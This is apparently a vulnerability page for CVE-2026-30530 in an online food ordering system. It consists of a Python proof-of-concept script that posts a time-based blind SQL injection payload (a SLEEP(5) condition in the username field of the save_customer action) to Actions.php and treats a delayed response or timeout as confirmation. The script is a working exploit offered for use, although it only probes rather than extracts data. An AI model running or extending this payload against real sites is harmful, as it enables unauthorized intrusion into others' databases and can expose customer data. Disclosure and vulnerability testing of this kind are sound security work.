CVE-2026-30530 在线订餐系统SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2026-30530 SQL Injection in save_customer action. This script attempts to trigger a time-based blind SQL injection. """ target_endpoint = f"{target_url}/Actions.php" # Malicious payload to test SQL injection # Using SLEEP(5) to check if the database executes the command payload_data = { "action": "save_customer", "username": "test' AND IF(1=1, SLEEP(5), 0)-- -", "password": "password123", "firstname": "Test", "lastname": "User" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[+] Sending payload to {target_endpoint}...") response = requests.post(target_endpoint, data=payload_data, headers=headers, timeout=10) # If response takes longer than usual (approx 5 seconds), vulnerability is confirmed print(f"[+] Response status: {response.status_code}") print("[+] Check if the response time indicates a successful SQL injection (delayed response).") print(f"[+] Response body: {response.text[:200]}...") except requests.exceptions.Timeout: print("[!] Request timed out, which might indicate successful SLEEP() execution (Vulnerable).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://192.168.1.100/online_food_ordering" exploit_sqli(target)